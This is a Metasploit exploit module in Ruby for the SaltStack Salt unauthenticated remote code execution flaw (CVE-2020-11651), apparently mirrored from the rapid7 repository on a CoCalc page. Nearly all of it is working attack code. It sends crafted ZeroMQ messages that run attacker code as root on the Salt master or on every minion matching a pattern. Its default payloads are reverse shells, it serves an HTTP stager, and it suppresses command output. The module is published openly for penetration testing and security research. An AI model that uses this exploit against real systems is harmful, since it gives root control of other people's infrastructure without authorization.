Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb
58172 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::ZeroMQ
11
include Msf::Exploit::Remote::CheckModule
12
include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
20
'Description' => %q{
21
This module exploits unauthenticated access to the runner() and
22
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
23
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
24
execute code as root on either the master or on select minions.
25
26
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
27
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
28
Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
29
1.3, 1.5, and 1.6 in certain configurations, are known to be affected
30
by the Salt vulnerabilities.
31
32
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
33
well as Vulhub's Docker image.
34
},
35
'Author' => [
36
'F-Secure', # Discovery
37
'wvu' # Module
38
],
39
'References' => [
40
['CVE', '2020-11651'], # Auth bypass (used by this module)
41
['CVE', '2020-11652'], # Authed directory traversals (not used here)
42
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
43
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
44
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
45
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
46
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
47
],
48
'DisclosureDate' => '2020-04-30', # F-Secure advisory
49
'License' => MSF_LICENSE,
50
'Privileged' => true,
51
'Targets' => [
52
[
53
'Master (Python payload)',
54
{
55
'Description' => 'Executing Python payload on the master',
56
'Platform' => 'python',
57
'Arch' => ARCH_PYTHON,
58
'Type' => :python,
59
'DefaultOptions' => {
60
'PAYLOAD' => 'python/meterpreter/reverse_https'
61
}
62
}
63
],
64
[
65
'Master (Unix command)',
66
{
67
'Description' => 'Executing Unix command on the master',
68
'Platform' => 'unix',
69
'Arch' => ARCH_CMD,
70
'Type' => :unix_cmd,
71
'DefaultOptions' => {
72
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
73
}
74
}
75
],
76
[
77
'Minions (Python payload)',
78
{
79
'Description' => 'Executing Python payload on the minions',
80
'Platform' => 'python',
81
'Arch' => ARCH_PYTHON,
82
'Type' => :python,
83
'DefaultOptions' => {
84
'PAYLOAD' => 'python/meterpreter/reverse_https'
85
}
86
}
87
],
88
[
89
'Minions (Unix command)',
90
{
91
'Description' => 'Executing Unix command on the minions',
92
'Platform' => 'unix',
93
'Arch' => ARCH_CMD,
94
'Type' => :unix_cmd,
95
'DefaultOptions' => {
96
# cmd/unix/reverse_python_ssl crashes in this target
97
'PAYLOAD' => 'cmd/unix/reverse_python'
98
}
99
}
100
]
101
],
102
'DefaultTarget' => 0, # Defaults to master for safety
103
'DefaultOptions' => {
104
'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
105
},
106
'Notes' => {
107
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
108
'Reliability' => [REPEATABLE_SESSION],
109
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
110
}
111
)
112
)
113
114
register_options([
115
Opt::RPORT(4506),
116
OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),
117
OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])
118
])
119
120
register_advanced_options([
121
OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
122
])
123
end
124
125
# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key
126
127
def exploit
128
if target.name.start_with?('Master')
129
if (root_key = datastore['ROOT_KEY'])
130
print_status("User-specified root key: #{root_key}")
131
else
132
# check.reason is from auxiliary/gather/saltstack_salt_root_key
133
root_key = check.reason
134
end
135
136
unless root_key
137
fail_with(Failure::BadConfig,
138
"#{target['Description']} requires a root key")
139
end
140
end
141
142
# These are from Msf::Exploit::Remote::ZeroMQ
143
zmq_connect
144
zmq_negotiate
145
146
print_status("#{target['Description']}: #{datastore['PAYLOAD']}")
147
148
case target.name
149
when /^Master/
150
yeet_runner(root_key)
151
when /^Minions/
152
yeet_send_pub
153
end
154
155
# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
156
sleep(wfs_delay)
157
rescue EOFError, Rex::ConnectionError => e
158
print_error("#{e.class}: #{e.message}")
159
ensure
160
# This is from Msf::Exploit::Remote::ZeroMQ
161
zmq_disconnect
162
end
163
164
def yeet_runner(root_key)
165
print_status("Yeeting runner() at #{peer}")
166
167
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
168
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
169
runner = {
170
'cmd' => 'runner',
171
# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
172
'fun' => 'salt.cmd',
173
'kwarg' => {
174
'hide_output' => true,
175
'ignore_retcode' => true,
176
'output_loglevel' => 'quiet'
177
},
178
'user' => 'root', # This is NOT the Unix user!
179
'key' => root_key # No JID needed, only the root key!
180
}
181
182
case target['Type']
183
when :python
184
vprint_status("Executing Python code: #{payload.encoded}")
185
186
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
187
runner['kwarg'].merge!(
188
'fun' => 'cmd.exec_code',
189
'lang' => payload.arch.first,
190
'code' => payload.encoded
191
)
192
when :unix_cmd
193
# HTTPS doesn't appear to be supported by the server :(
194
print_status("Serving intermediate stager over HTTP: #{cmdstager_start_service}")
195
196
vprint_status("Executing Unix command: #{payload.encoded}")
197
198
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
199
runner['kwarg'].merge!(
200
# cmd.run doesn't work due to a missing argument error, so we use this
201
'fun' => 'cmd.script',
202
'source' => get_uri,
203
'stdin' => payload.encoded
204
)
205
end
206
207
vprint_status("Unserialized clear load: #{runner}")
208
zmq_send_message(serialize_clear_load(runner))
209
210
unless (res = sock.get_once)
211
fail_with(Failure::Unknown, 'Did not receive runner() response')
212
end
213
214
vprint_good("Received runner() response: #{res.inspect}")
215
end
216
217
def yeet_send_pub
218
print_status("Yeeting _send_pub() at #{peer}")
219
220
# NOTE: A unique JID (job ID) is needed for every published job
221
jid = generate_jid
222
223
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
224
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
225
send_pub = {
226
'cmd' => '_send_pub',
227
'kwargs' => {
228
'bg' => true,
229
'hide_output' => true,
230
'ignore_retcode' => true,
231
'output_loglevel' => 'quiet',
232
'show_jid' => false,
233
'show_timeout' => false
234
},
235
'user' => 'root', # This is NOT the Unix user!
236
'tgt' => datastore['MINIONS'],
237
'tgt_type' => 'pcre',
238
'jid' => jid
239
}
240
241
case target['Type']
242
when :python
243
vprint_status("Executing Python code: #{payload.encoded}")
244
245
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
246
send_pub.merge!(
247
'fun' => 'cmd.exec_code',
248
'arg' => [payload.arch.first, payload.encoded]
249
)
250
when :unix_cmd
251
vprint_status("Executing Unix command: #{payload.encoded}")
252
253
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
254
send_pub.merge!(
255
'fun' => 'cmd.run',
256
'arg' => [payload.encoded]
257
)
258
end
259
260
vprint_status("Unserialized clear load: #{send_pub}")
261
zmq_send_message(serialize_clear_load(send_pub))
262
263
unless (res = sock.get_once)
264
fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
265
end
266
267
vprint_good("Received _send_pub() response: #{res.inspect}")
268
269
# NOTE: This path will likely change between platforms and distros
270
register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
271
end
272
273
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
274
# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
275
def generate_jid
276
DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
277
end
278
279
# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
280
def stager_instance
281
nil
282
end
283
284
# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
285
def exe
286
# NOTE: The shebang line is necessary in this case!
287
<<~SHELL
288
#!/bin/sh
289
/bin/sh
290
SHELL
291
end
292
293
end
294
295